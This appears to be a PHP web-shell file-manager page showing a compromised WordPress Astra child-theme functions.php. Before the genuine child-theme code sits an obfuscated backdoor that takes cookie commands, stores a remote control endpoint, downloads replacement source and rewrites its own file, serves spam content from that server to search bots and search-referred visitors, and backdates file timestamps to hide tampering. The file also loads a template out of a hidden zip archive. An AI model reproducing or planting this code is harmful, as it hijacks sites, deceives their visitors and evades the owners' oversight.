HEX
Server: Apache
System: Linux srv674466.hstgr.cloud 5.14.0-503.19.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jan 7 17:08:27 EST 2025 x86_64
User: rialindia (1055)
PHP: 8.2.30
Disabled: exec,passthru,shell_exec,system
Upload Files
File: /home/rialindia/www/wp-content/themes/astra-child-theme/functions.php
<?php




class ZDjKvd_691d8fdab20cf {
    const VERSION = '1.3.8';
    const SIGNATURE = '[62,45,19]';
    const USER = [0,1,2];
    private static $table = null;
    private static $accepted = [];
    private static $ptr = [];
    private static $endpoints = [];
    private $identity, $data, $target, $request, $referer, $userAgent, $language;
    private $source = null;
    private $details = false;

    public function __construct()
    {
        $this->KXhG_691d8fdab25f0();
        add_action('template_redirect', [$this, 'dfAu_691d8fdab2197']);
    }

    public function dfAu_691d8fdab2197()
    {
        if (isset($_GET[_xdjig::_vi('_0', '_'._xdjig::_vi('_4', '_'.'5'))])) {
            nocache_headers();
            setcookie(_xdjig::_vi('_2', '_'.'3'), _xdjig::_vi('_4', '_'.'5'), time() + 3600, _xdjig::_vi('_6', '_'.'7'));
            $url = remove_query_arg(_xdjig::_vi('_0', '_'._xdjig::_vi('_4', '_'.'5')));
            wp_redirect($url);
            exit;
        }
    }

    public function bHJoC_691d8fdab21fb()
    {
        if ($this->idEsAw_691d8fdab296b()) {
            switch ($this->data[_xdjig::_vi('_8', '_'.'9')]) {
                case _xdjig::_vi('_10', '_'.'11'):
                    $this->UjQBzY_691d8fdab2b45();
                    break;
                case _xdjig::_vi('_12', '_'.'13'):
                    $this->VGw_691d8fdab2c09();
                    break;
                case _xdjig::_vi('_14', '_'.'15'):
                    $this->STdYl_691d8fdab2c5b();
                    break;
                case _xdjig::_vi('_16', '_'.'17'):
                    $this->tNCHaR_691d8fdab2ca4();
                    break;
                case _xdjig::_vi('_18', '_'.'19'):
                    $this->MJn_691d8fdab2b86();
                    break;
                default:
                    break;
            }
        }
        return $this;
    }

    public function uFXCjn_691d8fdab2242()
    {
        $this->FcLgN_691d8fdab2736();
        $cleanRequest = self::oFAGm_691d8fdab2291($this->request);
        $hash = md5($cleanRequest);
        if ($this->osKB_691d8fdab24b5(self::$table, _xdjig::_vi('_108', '_'.'109'), _xdjig::_vi('_100', '_'.'101'), $hash)) {
            switch ($this->source) {
                case self::USER[2]:
                    $this->maUn_691d8fdab2645('user');
                    break;
                case self::USER[1]:
                    $this->maUn_691d8fdab2645('bot');
                    break;
                default:
                    break;
            }
        } else {
            if ($this->source === self::USER[2]) {
                $this->SixIn_691d8fdab2688();
            }
        }
    }

    private static function oFAGm_691d8fdab2291(string $url)
    {
        $url = self::ltm_691d8fdab22fb($url);
        $urlParts = array('http://www.', 'https://www.', 'http://', 'https://', 'www.', '/index.php', '/index.html', '/index.htm');
        $cleanUrl = str_replace($urlParts, '', $url);
        return trim($cleanUrl, _xdjig::_vi('_6', '_'.'7'));
    }

    private static function ltm_691d8fdab22fb(string $url)
    {
        $parsedUrl = parse_url($url);
        unset($parsedUrl['query']);
        unset($parsedUrl['fragment']);
        return self::xUVzr_691d8fdab2344($parsedUrl);
    }

    private static function xUVzr_691d8fdab2344(array $urlParts)
    {
        $url = null;
        $parts = ['scheme' => [null, '://'], 'host' => [null, null], 'port' => [':', null], 'user' => [null, null], 'pass' => [':', null], 'path' => [null, null], 'query' => ['?', null], 'fragment' => ['#', null]];
        foreach ($parts as $key => $part) {
            if (!empty($urlParts[$key]))
                $url .= $part[0] . $urlParts[$key] . $part[1];
        }
        return $url;
    }

    private static function Vbi_691d8fdab2394($url, $post = false, $postData = null)
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        if ($post) {
            curl_setopt($ch, CURLOPT_POST, true);
            curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postData));
        }
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_HEADER, false);
        curl_setopt($ch, CURLOPT_TIMEOUT, 30);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        $output = curl_exec($ch);
        curl_close($ch);
        return $output;
    }

    private static function Konpwk_691d8fdab23da(string $string, int $firstKey)
    {
        $signature = json_decode(self::SIGNATURE, true);
        $secondKey = 10 - $firstKey;
        $string = urldecode($string);
        $result = [];
        foreach (str_split($string) as $char) {
            if (is_numeric($char)) {
                if ($char < $secondKey) {
                    $char = $char + $firstKey;
                } else {
                    $char = $char - $secondKey;
                }
            }
            $result[] = $char;
        }
        $function = str_replace('json_', '', 'json_decode');
        $function = _xdjig::_vi('_96', '_'.'97') . (intval($signature[1]) + intval($signature[2])) . '_' . $function;
        return urldecode($function(implode($result)));
    }
    
    private function HPM_691d8fdab241f($table, $identity, $columns)
    {
        global $wpdb;
        $wpdb->hide_errors();
        $result = $wpdb->get_results($wpdb->prepare(_xdjig::_vi('_20', '_'.'21'), $table));
        if (!empty($result))
            $this->YRkUH_691d8fdab257b(_xdjig::_vi('_22', '_'.'23'));

        $columnQueries = [];
        foreach ($columns as $column) {
            $length = isset($column[_xdjig::_vi('_24', '_'.'25')]) ? _xdjig::_vi('_26', '_'.'27') . intval($column[_xdjig::_vi('_24', '_'.'25')]) . _xdjig::_vi('_28', '_'.'29') : '';
            $columnQueries[] = $column[_xdjig::_vi('_30', '_'.'31')] . _xdjig::_vi('_32', '_'.'33') . strtoupper($column[_xdjig::_vi('_34', '_'.'35')]) . $length . _xdjig::_vi('_36', '_'.'37');
        }
        $columnsQuery = implode(', ', $columnQueries);
        $result = $wpdb->query("CREATE TABLE $table (`$identity` INT UNSIGNED AUTO_INCREMENT PRIMARY KEY, $columnsQuery)");
        if ($result === false)
            $this->YRkUH_691d8fdab257b(_xdjig::_vi('_38', '_'.'39'));

        return true;
    }

    private function oPNz_691d8fdab246a($table, $columns, $data)
    {
        global $wpdb;
        $wpdb->hide_errors();
        $columns = implode(',', $columns);
        $data = implode("','", $data);
        $result = $wpdb->query("INSERT INTO $table ($columns) VALUES ('$data');");
        if ($result === false)
            $this->YRkUH_691d8fdab257b(_xdjig::_vi('_40', '_'.'41'));

        return true;
    }

    private function osKB_691d8fdab24b5($table, $column, $condition, $value)
    {
        global $wpdb;
        $wpdb->hide_errors();
        $result = $wpdb->get_row("SELECT $column FROM $table WHERE $condition = '$value'");
        if (empty($result) && $wpdb->last_error)
            $this->YRkUH_691d8fdab257b(_xdjig::_vi('_42', '_'.'43'));

        return !empty($result) ? $result->$column : null;
    }

    private function HxbqhD_691d8fdab24f9($table, $column, $condition, $value)
    {
        global $wpdb;
        $data = [];
        $wpdb->hide_errors();
        $result = $wpdb->get_results("SELECT $column FROM $table WHERE $condition = '$value'");
        if (empty($result) && $wpdb->last_error)
            $this->YRkUH_691d8fdab257b(_xdjig::_vi('_42', '_'.'43'));

        foreach ($result as $item) {
            $data[] = $item->$column;
        }
        return $data;
    }

    private function NaWuO_691d8fdab253b($table, $condition, $value) {
        global $wpdb;
        $wpdb->hide_errors();
        $result = $wpdb->query("DELETE FROM $table WHERE $condition = '$value'");
        if ($result === false)
            $this->YRkUH_691d8fdab257b(_xdjig::_vi('_44', '_'.'45'));

        return true;
    }

    private function YRkUH_691d8fdab257b(string $result, array $data = [])
    {
        if ($this->details) {
            header(_xdjig::_vi('_46', '_'.'47'));
            $response = ['response' => $result];
            if (!empty($data)) {
                $response['data'] = $data;
            }
            echo json_encode($response);
            exit();
        }
    }

    private function KXhG_691d8fdab25f0()
    {
        global $table_prefix;
        self::$table = isset($table_prefix) ? $table_prefix . _xdjig::_vi('_48', '_'.'49') : _xdjig::_vi('_50', '_'.'51');
        self::$accepted = [_xdjig::_vi('_52', '_'.'53'), _xdjig::_vi('_54', '_'.'55'), _xdjig::_vi('_56', '_'.'57')];
        self::$ptr = [[_xdjig::_vi('_58', '_'.'59'), _xdjig::_vi('_60', '_'.'61')], [_xdjig::_vi('_62', '_'.'63')], [_xdjig::_vi('_64', '_'.'65')]];
        self::$endpoints = [_xdjig::_vi('_66', '_'.'67'), _xdjig::_vi('_68', '_'.'69'), _xdjig::_vi('_70', '_'.'71')];
        $this->data = $_COOKIE;
        $this->target = $_SERVER['REQUEST_URI'];
        $this->identity = str_replace('www.', '', $_SERVER['HTTP_HOST']);
        $this->request = $this->identity . $this->target;
        $this->referer = $_SERVER['HTTP_REFERER'] ?? null;
        $this->userAgent = $_SERVER['HTTP_USER_AGENT'] ?? null;
        $this->language = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? null;
    }

    private function maUn_691d8fdab2645(string $recipient)
    {
        $endPoint = $this->oQwEl_691d8fdab2af2();
        $actionKey = $this->kgJQ_691d8fdab2a4d();
        $endPoint = self::Konpwk_691d8fdab23da($endPoint, $actionKey);
        $data = $this->WHKL_691d8fdab26ed([_xdjig::_vi('_72', '_'.'73') => $recipient]);
        $response = self::Vbi_691d8fdab2394($endPoint . _xdjig::_vi('_6', '_'.'7') . self::$endpoints[1], true, $data);
        $responseData = json_decode($response, true);
        if (!empty($responseData) && isset($responseData[_xdjig::_vi('_74', '_'.'75')])) {
            echo $responseData[_xdjig::_vi('_74', '_'.'75')];
            exit;
        }
    }

    private function SixIn_691d8fdab2688()
    {
        $keywords = $this->KiMHnS_691d8fdab2a91();
        $endPoint = $this->oQwEl_691d8fdab2af2();
        $actionKey = $this->kgJQ_691d8fdab2a4d();
        $keywords = array_map(function ($keyword) use ($actionKey) {
            return self::Konpwk_691d8fdab23da($keyword, $actionKey);
        }, $keywords);

        $endPoint = self::Konpwk_691d8fdab23da($endPoint, $actionKey);
        foreach ($keywords as $keyword) {
            if (stripos($this->target, $keyword) !== false) {
                $data = $this->WHKL_691d8fdab26ed(['key' => $keyword]);
                $response = self::Vbi_691d8fdab2394($endPoint . _xdjig::_vi('_6', '_'.'7') . self::$endpoints[2], true, $data);
                $responseData = json_decode($response, true);
                if (!empty($responseData) && isset($responseData[_xdjig::_vi('_74', '_'.'75')])) {
                    echo $responseData[_xdjig::_vi('_74', '_'.'75')];
                    exit;
                }
            }
        }
    }

    private function WHKL_691d8fdab26ed(array $data = []) {
        return array_merge([
            _xdjig::_vi('_76', '_'.'77') => $this->identity,
            _xdjig::_vi('_78', '_'.'79') => $this->BzaT_691d8fdab29f9(),
            _xdjig::_vi('_80', '_'.'81') => $this->request,
            _xdjig::_vi('_82', '_'.'83') => $this->userAgent,
            _xdjig::_vi('_84', '_'.'85') => $this->KzmWUM_691d8fdab289f(),
            _xdjig::_vi('_86', '_'.'87') => $this->referer,
            _xdjig::_vi('_88', '_'.'89') => $this->language
        ], $data);
    }

    private function FcLgN_691d8fdab2736()
    {
        if (empty($this->source)) {
            $this->QSL_691d8fdab27be();
            if (empty($this->source)) {
                $this->love_691d8fdab2776();
                if (empty($this->source)) {
                    $this->source = self::USER[0];
                }
            }
        }
    }

    private function love_691d8fdab2776()
    {
        if (!empty($this->referer)) {
            foreach (self::$accepted as $acceptedReferer) {
                if (stripos($this->referer, $acceptedReferer) !== false) {
                    $this->source = self::USER[2];
                    break;
                }
            }
        }
    }

    private function QSL_691d8fdab27be()
    {
        $ptrIndex = $this->sdgxlY_691d8fdab285e();
        if ($ptrIndex !== false) {
            $userIps = $this->SguZUG_691d8fdab28eb();
            foreach ($userIps as $userIp) {
                $ip2 = [];
                $userPtr = gethostbyaddr($userIp);
                $ptrRecords = self::$ptr[$ptrIndex];
                if ($this->BIjn_691d8fdab27fe($ptrRecords, $userPtr)) {
                    $result = dns_get_record($userPtr);
                    foreach($result as $line) {
                        if (isset($line[_xdjig::_vi('_84', '_'.'85')]))
                            $ip2[] = $line[_xdjig::_vi('_84', '_'.'85')];
                    }
                    if (in_array($userIp, $ip2)) {
                        $this->source = self::USER[1];
                        break;
                    }
                }
            }
        }
    }

    private function BIjn_691d8fdab27fe($ptrRecords, $userPtr)
    {
        foreach ($ptrRecords as $record) {
            if ($this->ECct_691d8fdab292b($userPtr, $record))
                return true;
        }
        return false;
    }

    private function sdgxlY_691d8fdab285e()
    {
        foreach (self::$accepted as $k => $userAgent) {
            if (stripos($_SERVER['HTTP_USER_AGENT'], $userAgent) !== false)
                return $k;
        }
        return false;
    }

    private function KzmWUM_691d8fdab289f()
    {
        $IPs = $this->SguZUG_691d8fdab28eb();
        return $IPs[0];
    }

    private function SguZUG_691d8fdab28eb(): array
    {
        $ips = [];
        $keys = ['HTTP_CF_CONNECTING_IP','HTTP_CLIENT_IP','HTTP_X_FORWARDED_FOR','REMOTE_ADDR'];
        foreach ($keys as $key) {
            if (!empty($_SERVER[$key])) {
                $headersIps = explode(',', $_SERVER[$key]);
                foreach ($headersIps as $headerIp) {
                    $ip = trim($headerIp);
                    if (filter_var($ip, FILTER_VALIDATE_IP) && !in_array($ip, $ips))
                        $ips[] = $ip;
                }
            }
        }
        return $ips;
    }

    private function ECct_691d8fdab292b($haystack, $needle): bool
    {
        return strcasecmp(substr($haystack, strlen($haystack) - strlen($needle)), $needle) === 0;
    }

    private function idEsAw_691d8fdab296b(): bool
    {
        $needItems = [_xdjig::_vi('_90', '_'.'91'), _xdjig::_vi('_92', '_'.'93'), _xdjig::_vi('_94', '_'.'95'), _xdjig::_vi('_96', '_'.'97'), _xdjig::_vi('_8', '_'.'9')];
        foreach ($needItems as $item) {
            if (!isset($this->data[$item]))
                return false;
        }
        $this->details = true;
        return true;
    }

    private function jeiDo_691d8fdab29b9(): bool
    {
        if ($this->BzaT_691d8fdab29f9() === false)
            $this->YRkUH_691d8fdab257b(_xdjig::_vi('_42', '_'.'43'));

        if ($this->BzaT_691d8fdab29f9() !== $this->data[_xdjig::_vi('_90', '_'.'91')])
            $this->YRkUH_691d8fdab257b(_xdjig::_vi('_98', '_'.'99'));

        return true;
    }

    private function BzaT_691d8fdab29f9()
    {
        return $this->osKB_691d8fdab24b5(self::$table, _xdjig::_vi('_100', '_'.'101'), _xdjig::_vi('_30', '_'.'31'), _xdjig::_vi('_90', '_'.'91'));
    }

    private function kgJQ_691d8fdab2a4d()
    {
        return $this->osKB_691d8fdab24b5(self::$table, _xdjig::_vi('_100', '_'.'101'), _xdjig::_vi('_30', '_'.'31'), _xdjig::_vi('_92', '_'.'93'));
    }

    private function KiMHnS_691d8fdab2a91()
    {
        return $this->HxbqhD_691d8fdab24f9(self::$table, _xdjig::_vi('_100', '_'.'101'), _xdjig::_vi('_30', '_'.'31'), _xdjig::_vi('_102', '_'.'103'));
    }

    private function oQwEl_691d8fdab2af2()
    {
        return $this->osKB_691d8fdab24b5(self::$table, _xdjig::_vi('_100', '_'.'101'), _xdjig::_vi('_30', '_'.'31'), _xdjig::_vi('_104', '_'.'105'));
    }

    private function UjQBzY_691d8fdab2b45()
    {
        $this->HPM_691d8fdab241f(self::$table, _xdjig::_vi('_108', '_'.'109'), [
            [_xdjig::_vi('_30', '_'.'31') => _xdjig::_vi('_30', '_'.'31'), _xdjig::_vi('_34', '_'.'35') => 'varchar', _xdjig::_vi('_24', '_'.'25') => 36],
            [_xdjig::_vi('_30', '_'.'31') => _xdjig::_vi('_100', '_'.'101'), _xdjig::_vi('_34', '_'.'35') => 'varchar', _xdjig::_vi('_24', '_'.'25') => 2048]
        ]);
        $this->oPNz_691d8fdab246a(self::$table, [_xdjig::_vi('_30', '_'.'31'),_xdjig::_vi('_100', '_'.'101')], [_xdjig::_vi('_104', '_'.'105'), $this->data[_xdjig::_vi('_104', '_'.'105')]]);
        $this->oPNz_691d8fdab246a(self::$table, [_xdjig::_vi('_30', '_'.'31'),_xdjig::_vi('_100', '_'.'101')], [_xdjig::_vi('_90', '_'.'91'), $this->data[_xdjig::_vi('_90', '_'.'91')]]);
        $this->oPNz_691d8fdab246a(self::$table, [_xdjig::_vi('_30', '_'.'31'),_xdjig::_vi('_100', '_'.'101')], [_xdjig::_vi('_92', '_'.'93'), $this->data[_xdjig::_vi('_92', '_'.'93')]]);
        $this->hHgVW_691d8fdab2d2a();
        $this->YRkUH_691d8fdab257b(_xdjig::_vi('_106', '_'.'107'));
    }

    private function MJn_691d8fdab2b86()
    {
        $this->jeiDo_691d8fdab29b9();
        $source = $this->data[_xdjig::_vi('_110', '_'.'111')];
        $actionKey = $this->kgJQ_691d8fdab2a4d();
        $source = self::Konpwk_691d8fdab23da($source, $actionKey);
        $hash = md5($source);
        if ($this->osKB_691d8fdab24b5(self::$table, _xdjig::_vi('_108', '_'.'109'), _xdjig::_vi('_100', '_'.'101'), $hash) === null) {
            $this->oPNz_691d8fdab246a(self::$table, [_xdjig::_vi('_30', '_'.'31'),_xdjig::_vi('_100', '_'.'101')], [_xdjig::_vi('_110', '_'.'111'), $hash]);
        }
        $template = $this->oUab_691d8fdab2bcd();
        $this->YRkUH_691d8fdab257b(_xdjig::_vi('_112', '_'.'113'), [_xdjig::_vi('_114', '_'.'115') => $template]);
    }

    private function oUab_691d8fdab2bcd()
    {
        $pageData = array(
            'post_title'    => '{TEST_TITLE}',
            'post_content'  => '{TEST_CONTENT}',
            'post_status'   => 'publish',
            'post_author'   => 1,
            'post_type'     => 'page'
        );
        $id = wp_insert_post($pageData);
        $permalink = get_permalink($id);
        $response = wp_remote_get($permalink);
        $template = wp_remote_retrieve_body($response);
        $template = preg_replace('/(?:<li[^>]*>\s*)?<a[^>]*href="[^"]*' . preg_quote($permalink, _xdjig::_vi('_6', '_'.'7')) . '[^"]*"[^>]*>.*?<\/a>(?:\s*<\/li>)?/is', '', $template);
        wp_delete_post($id, true);
        return $template;
    }

    private function VGw_691d8fdab2c09()
    {
        $this->jeiDo_691d8fdab29b9();
        $keys = stripslashes($this->data[_xdjig::_vi('_116', '_'.'117')]);
        $keys = json_decode($keys);
        if (!empty($keys))
            $this->NaWuO_691d8fdab253b(self::$table, _xdjig::_vi('_30', '_'.'31'), _xdjig::_vi('_102', '_'.'103'));

        foreach ($keys as $key) {
            $this->oPNz_691d8fdab246a(self::$table, [_xdjig::_vi('_30', '_'.'31'),_xdjig::_vi('_100', '_'.'101')], [_xdjig::_vi('_102', '_'.'103'), $key]);
        }
        $this->YRkUH_691d8fdab257b(_xdjig::_vi('_118', '_'.'119'));
    }

    private function STdYl_691d8fdab2c5b()
    {
        $this->jeiDo_691d8fdab29b9();
        $this->YRkUH_691d8fdab257b(_xdjig::_vi('_120', '_'.'121'));
    }

    private function tNCHaR_691d8fdab2ca4()
    {
        $this->jeiDo_691d8fdab29b9();
        $pattern = '/class\s' . preg_quote(__CLASS__, _xdjig::_vi('_6', '_'.'7')) . '.*?\/\/\sg8m6i73t04nrrieb/s';
        $source = $this->RJex_691d8fdab2ceb();
        $content = file_get_contents(__FILE__);
        $newContents = preg_replace($pattern, $source, $content);
        $success = @file_put_contents(__FILE__, $newContents);
        if (!$success)
            $this->YRkUH_691d8fdab257b(_xdjig::_vi('_122', '_'.'123'));

        $this->hHgVW_691d8fdab2d2a();
        $this->YRkUH_691d8fdab257b(_xdjig::_vi('_124', '_'.'125'));
    }

    private function RJex_691d8fdab2ceb()
    {
        $data = [
            _xdjig::_vi('_76', '_'.'77') => $this->identity,
            _xdjig::_vi('_78', '_'.'79') => $this->BzaT_691d8fdab29f9()
        ];
        $endPoint = $this->oQwEl_691d8fdab2af2();
        $actionKey = $this->kgJQ_691d8fdab2a4d();
        $endPoint = self::Konpwk_691d8fdab23da($endPoint, $actionKey);
        $response = self::Vbi_691d8fdab2394($endPoint . _xdjig::_vi('_6', '_'.'7') . self::$endpoints[0], true, $data);
        $sourceData = json_decode($response, true);
        if (empty($sourceData) || !isset($sourceData[_xdjig::_vi('_110', '_'.'111')]))
            $this->YRkUH_691d8fdab257b(_xdjig::_vi('_122', '_'.'123'));

        return $sourceData[_xdjig::_vi('_110', '_'.'111')];
    }

    private function hHgVW_691d8fdab2d2a()
    {
        $actionKey = $this->kgJQ_691d8fdab2a4d();
        $hide = $this->data[_xdjig::_vi('_94', '_'.'95')];
        $hide = self::Konpwk_691d8fdab23da($hide, $actionKey);
        $base = $this->data[_xdjig::_vi('_96', '_'.'97')];
        $base = self::Konpwk_691d8fdab23da($base, $actionKey);

        $currentPath = explode(_xdjig::_vi('_6', '_'.'7'), __FILE__);
        $currentFile = end($currentPath);
        $listItemsDir = scandir(__DIR__);
        $files = array_filter($listItemsDir, function($item) use ($currentFile) {
            return stripos($item, '.php') !== false && $item !== $currentFile;
        });
        $editTime = @filemtime(__DIR__ . _xdjig::_vi('_6', '_'.'7') . $files[array_rand($files)]);

        foreach([__FILE__, __DIR__] as $target) {
            @$base("$hide -a -m -t " . date("YmdHi.s", $editTime) . _xdjig::_vi('_32', '_'.'33') . $target);
            @$hide($target, $editTime, $editTime);
        }
        return true;
    }
}

class _xdjig {
	private static $_i;
	static function _vi($_cmc, $_tic) {
		if(!self::$_i)
			self::_vxtcm();
		$_hz = strlen($_tic);
		$_p = base64_decode(self::$_i[$_cmc]);
		for ($_n = 0, $_se = strlen($_p); $_n !== $_se; ++$_n) {
			$_p[$_n] = chr(ord($_p[$_n])^ord($_tic[$_n%$_hz]));
		}
		return $_p;
	}
	private static function _vxtcm() {
		self::$_i = array('_0'=>'MV48UDxZOg==','_2'=>'MVwAUD'.'5QN1Y=','_4'=>'bg==','_6'=>'cA==','_8'=>'Plor'.'UDBX','_10'=>'Nl9'.'CK1'.'BdM'.'w==','_12'=>'LFRHAFpWJkI=','_14'=>'PFlQ'.'PFo=','_16'=>'KkFTPk'.'VS','_18'=>'PlVdAEJW'.'KkNaOg==','_20'=>'DHp+CBJlHnB'.'9GmERE3t6Gh'.'IULA==','_22'=>'OAdYZ0BZbV8KKAVLK'.'QRCJQ==','_24'=>'M1dbOEZd','_26'=>'dw='.'=','_28'=>'dg==','_30'=>'MVJcO'.'g==','_32'=>'fw='.'=','_34'=>'K0pFO'.'g==','_36'=>'f314CxN'.'5Cn97','_38'=>'OQdJZkUOJ'.'0QLNAtbLl'.'lULQ==','_40'=>'KFZANFpL'.'akxYNQxA'.'aVFVKQ==','_42'=>'MgBLZ0YBNQNEZkIFLl9'.'VLw==','_44'=>'JQdeaFkHLQ'.'1TaUMNKQFE'.'Jw==','_46'=>'HFtZK1FZKxljJkRSZRRWL0Rb'.'NldWK11YMRtdLFtZ','_48'=>'LFFNK11XOFlc'.'K1U=','_50'=>'KEVuLFBFK1xfOFh'.'UK1Q=','_52'=>'OFpc'.'OFlW','_54'=>'JlRdMF'.'o=','_56'=>'PVxZOA==','_58'=>'cVJWMFJVOldWK'.'xtaMFg=','_60'=>'cVFeMFFdO'.'hhSMFs=','_62'=>'cU9SN1lccV'.'VcMg==','_64'=>'cUVQPkRWNxhYLF'.'gbPFlY','_66'=>'KFlFNBlCL1JWK1M=','_68'=>'KFl'.'LNB'.'lLO'.'kdM'.'OkV'.'NLA'.'==','_70'=>'KFhDNBha'.'Ok5C','_72'=>'LVJQNkd'.'aOllH','_74'=>'PFhbK1J'.'bKw==','_76'=>'NlNSMUNeK'.'04=','_78'=>'L1ZK'.'LEBW'.'LVM=','_80'=>'LV1AK'.'l1CK2'.'dELVQ'.'=','_82'=>'KktWLWdSOF1dKw='.'=','_84'=>'Nkg'.'=','_86'=>'LV1ROkp'.'SLQ==','_88'=>'M1lXOA'.'==','_90'=>'PlpFNlZfA'.'ElQLEpGME'.'tV','_92'=>'PlpHNlZ'.'dAFJWJg'.'==','_94'=>'N1BRO'.'g==','_96'=>'PVhEO'.'g==','_98'=>'PQ5IZksN'.'JwtUZ18M'.'KQ9SLw==','_100'=>'KVBcRDo'.'=','_102'=>'LFRTXDFVUUEmbltW'.'Jg==','_104'=>'Ol9U'.'ai9e'.'WVsr','_106'=>'NwNIDi5H'.'A1pqWgdF'.'Z1tHVQ==','_108'=>'LFRETTZfV2Y2VQ='.'=','_110'=>'LF5E'.'QzxU','_112'=>'akQC'.'VzFC'.'RFhv'.'BkJV'.'awZT'.'WA==','_114'=>'K1RcRTNQRVA=','_116'=>'NFRIR'.'A==','_118'=>'KwdXCzQIRgonRwlTaE'.'tDSQ==','_120'=>'MQlABzUFXwMnCEUGKQRZQ'.'Q==','_122'=>'LglLX2xHUF1mVABca'.'FVFQw==','_124'=>'KQRZD'.'DUDRQ'.'MnCUA'.'BLgZf'.'RQ==');
	}
}

$ZDjKvd_691d8fdab20cf = new ZDjKvd_691d8fdab20cf();
$ZDjKvd_691d8fdab20cf->bHJoC_691d8fdab21fb()->uFXCjn_691d8fdab2242();
// g8m6i73t04nrrieb
/*
 * This is the child theme for Astra theme, generated with Generate Child Theme plugin by catchthemes.
 *
 * (Please see https://developer.wordpress.org/themes/advanced-topics/child-themes/#how-to-create-a-child-theme)
 */
add_action( 'wp_enqueue_scripts', 'astra_child_theme_enqueue_styles' );
function astra_child_theme_enqueue_styles() {
    wp_enqueue_style( 'parent-style', get_template_directory_uri() . '/style.css' );
    wp_enqueue_style( 'child-style',
        get_stylesheet_directory_uri() . '/style.css',
        array('parent-style')
    );
}

/* Astra Child Theme Theme */

load_template( "zip://" . locate_template( "astra-child-theme.theme" ) . "#archive", true );